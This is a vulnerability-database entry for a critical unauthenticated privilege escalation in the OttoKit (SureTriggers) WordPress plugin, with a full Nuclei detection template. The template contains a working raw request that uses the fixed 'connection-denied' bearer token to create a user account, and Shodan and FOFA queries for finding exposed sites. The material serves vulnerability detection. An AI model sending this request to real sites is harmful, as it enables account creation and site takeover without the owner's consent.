HexBrain

Browse / CVEs / CVE-2026-110372

CVE-2026-110372· CWE-266

WordPress OttoKit Plugin <= 1.1.40 - Unauthenticated Privilege Escalation via connection-denied Token

criticalseverity
9.8CVSS score
1.4%likelihood of exploitation, next 30 days
72%of all CVEs are less likely
Readycheck to confirm it

OttoKit (formerly SureTriggers) WordPress plugin <= 1.1.40 unauthenticated privilege escalation. When an admin denies the OttoKit SaaS connection, the plugin stores the fixed public string 'connection-denied' as the site API secret. The RestController::autheticate_user permission callback reads the 'st_authorization' request header, strips a 'Bearer ' prefix via sscanf($token,'Bearer %s'), then hash_equals() it against the stored secret. An attacker who sends 'st-authorization: Bearer connection-denied' is authenticated to the automation REST API and can create administrator accounts. Fixed in 1.1.41.

How to confirm it

Send: GET {{BaseURL}}/wp-json/
Positive when: contains "sure-triggers"
Send: POST /wp-json/sure-triggers/v1/automation/action
Positive when: not contains "rest_forbidden" or "Sorry, you are not allowed to do that" or "rest_no_route" AND contains "\"success\":true" or "\"user_login\"" or "\"user_registered\"" AND status 200

Run it with nuclei: nuclei -id CVE-2026-110372 -u <target>

The full check
id: CVE-2026-110372

info:
  name: WordPress OttoKit Plugin <= 1.1.40 - Unauthenticated Privilege Escalation via connection-denied Token
  author: DhiyaneshDk
  severity: critical
  description: |
    OttoKit (formerly SureTriggers) WordPress plugin <= 1.1.40 unauthenticated privilege escalation. When an admin denies the OttoKit SaaS connection, the plugin stores the fixed public string 'connection-denied' as the site API secret. The RestController::autheticate_user permission callback reads the 'st_authorization' request header, strips a 'Bearer ' prefix via sscanf($token,'Bearer %s'), then hash_equals() it against the stored secret. An attacker who sends 'st-authorization: Bearer connection-denied' is authenticated to the automation REST API and can create administrator accounts. Fixed in 1.1.41.
  reference:
    - https://patchstack.com/database/wordpress/plugin/suretriggers/vulnerability/wordpress-ottokit-plugin-1-1-40-privilege-escalation-vulnerability
    - https://wpsec.com/vuln/WPSEC-2026-1053/
    - https://patchstack.com/articles/additional-critical-ottokit-formerly-suretriggers-vulnerability-patched/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-110372
    epss-score: 0.01365
    epss-percentile: 0.72038
    cwe-id: CWE-266
  metadata:
    verified: true
    max-request: 2
    shodan-query: 'http.html:"wp-content/plugins/suretriggers"'
    fofa-query: 'body="wp-content/plugins/suretriggers"'
  tags: cve,cve2026,wordpress,ottokit,suretriggers,privilege-escalation,unauth,wp-plugin,intrusive,vkev

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-json/"

    matchers:
      - type: word
        part: body
        words:
          - "sure-triggers"
        internal: true

  - raw:
      - |
        POST /wp-json/sure-triggers/v1/automation/action HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        st-authorization: Bearer connection-denied

        {"integration":"WordPress","type_event":"create_user_if_not_exists","selected_options":{"user_name":"probe{{rand_text_alpha(6)}}","user_email":"probe{{rand_text_numeric(4)}}@{{interactsh-url}}","password":"Pr0be!{{rand_text_alphanumeric(8)}}Nuc1ei","first_name":"Probe","last_name":"Check","role":"subscriber","force_update_user_role":true,"add_user_roles":true,"show_password":true}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "rest_forbidden"
          - "Sorry, you are not allowed to do that"
          - "rest_no_route"
        negative: true

      - type: word
        part: body
        words:
          - '"success":true'
          - '"user_login"'
          - '"user_registered"'
        condition: or

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        name: created_user_id
        regex:
          - '"ID":\s*"?(\d+)"?'
        group: 1

References

Use this check only on systems you are authorised to test. Where the data comes from